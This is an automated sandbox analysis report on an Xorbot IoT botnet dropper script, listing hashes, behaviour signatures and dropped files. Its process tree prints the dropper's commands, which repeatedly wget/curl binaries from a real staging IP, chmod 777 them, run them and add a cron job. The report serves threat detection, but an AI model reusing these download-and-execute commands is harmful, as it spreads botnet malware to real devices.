Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/12/2024, 22:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    efbcf30c8abd1e80a0dd54b19276ebf5

  • SHA1

    6f341a5f8e20188054977b1993d671020cfcf8b7

  • SHA256

    d1f0c8c0899eb6c4fb7602943cb2483daebfa5ec71a7e196cd01cca5beb0a597

  • SHA512

    a1c6d5a9aa4331810201275dce569e5667f2ac12fc376ca47696c2dd078d8c17853f196dd13ed3ac8f4f7661680f35db02f2310433daf9753face3853446d1fa

  • SSDEEP

    192:9jrrX8D8I1NlsogS68ApxXhrX8Dh1NlsoxK8Ax:FrrX8D8hS68ApxRrX8D5K8Ax

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1840) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Writes file to tmp directory
          PID:665
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          ./KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
          • Executes dropped EXE
          PID:690
        • /bin/rm
          rm KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            ./dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
            • Executes dropped EXE
            PID:701
          • /bin/rm
            rm dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7
            2⤵
              PID:704
            • /usr/bin/wget
              wget http://216.126.231.240/bins/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Writes file to tmp directory
              PID:705
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:711
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Writes file to tmp directory
              PID:719
            • /bin/chmod
              chmod 777 74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • File and Directory Permissions Modification
              PID:723
            • /tmp/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              ./74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
              • Executes dropped EXE
              PID:724
            • /bin/rm
              rm 74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf
              2⤵
                PID:726
              • /usr/bin/wget
                wget http://216.126.231.240/bins/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Writes file to tmp directory
                PID:728
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:734
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Writes file to tmp directory
                PID:741
              • /bin/chmod
                chmod 777 nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • File and Directory Permissions Modification
                PID:747
              • /tmp/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                ./nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:749
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:751
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:752
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:757
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:758
                    • /bin/rm
                      rm nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG
                      2⤵
                        PID:761
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                        2⤵
                          PID:765
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                          2⤵
                            PID:767
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                            2⤵
                            • Writes file to tmp directory
                            PID:848
                          • /bin/chmod
                            chmod 777 IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                            2⤵
                            • File and Directory Permissions Modification
                            PID:851
                          • /tmp/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                            ./IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                            2⤵
                            • Executes dropped EXE
                            PID:852
                          • /bin/rm
                            rm IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal
                            2⤵
                              PID:853
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                              2⤵
                                PID:854
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                                2⤵
                                  PID:855
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:856
                                • /bin/chmod
                                  chmod 777 IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:857
                                • /tmp/IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                                  ./IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                                  2⤵
                                  • Executes dropped EXE
                                  PID:858
                                • /bin/rm
                                  rm IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd
                                  2⤵
                                    PID:860
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7
                                    2⤵
                                      PID:861
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7
                                      2⤵
                                        PID:862
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:863
                                      • /bin/chmod
                                        chmod 777 TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:864
                                      • /tmp/TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7
                                        ./TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7
                                        2⤵
                                        • Executes dropped EXE
                                        PID:865
                                      • /bin/rm
                                        rm TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7
                                        2⤵
                                          PID:867
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/BoTWYFCIjTvTPW5710MlUT6VXF2rDMmaUk
                                          2⤵
                                            PID:868
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/BoTWYFCIjTvTPW5710MlUT6VXF2rDMmaUk
                                            2⤵
                                              PID:869

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/74Vs4odoTeGffHMuePU8sPlvNs1fSfgzHf

                                                  Filesize

                                                  112KB

                                                  MD5

                                                  05d7857dcead18bbd86d2935f591873c

                                                  SHA1

                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                  SHA256

                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                  SHA512

                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                • /tmp/IhIWm4prLdVWM8VdKwoweZ4iQlZuGluNal

                                                  Filesize

                                                  141KB

                                                  MD5

                                                  3ca8decdb1e52c423c521bfff02ac200

                                                  SHA1

                                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                  SHA256

                                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                  SHA512

                                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                • /tmp/IiTEdcYjTO5DDUjj9ZcU4aemWDBE5VGHxd

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN

                                                  Filesize

                                                  98KB

                                                  MD5

                                                  5141342d0df8699fa32a6b066a0c592e

                                                  SHA1

                                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                  SHA256

                                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                  SHA512

                                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                • /tmp/TZnvYat08nxIFkLlMWbJWXT6ZypNL7X8o7

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo7

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                  SHA1

                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                  SHA256

                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                  SHA512

                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                • /tmp/nIq2ojH2iSGk2eFcBtOhkoxroHrYSm5TzG

                                                  Filesize

                                                  177KB

                                                  MD5

                                                  786d75a158fe731feca3880f436082c0

                                                  SHA1

                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                  SHA256

                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                  SHA512

                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                • /var/spool/cron/crontabs/tmp.hJkgdZ

                                                  Filesize

                                                  210B

                                                  MD5

                                                  840bf793434325b596d1d5ba5b1d0c5a

                                                  SHA1

                                                  021b33cdd7f54d4b5fa4a100b33dee44e74c7d7f

                                                  SHA256

                                                  13f27818eefccda893df23eb139969d5469dcf4ce2cb6907289a5e9792aa67e9

                                                  SHA512

                                                  bb6243e1e88dbe2997a2d36b8ad5bea1c55536f57674479d1cf31ab068f4c15ba8720668f0a64cd6e5f1ad8dfc623213ffd03c16b7c74ed943aeb667fcde746f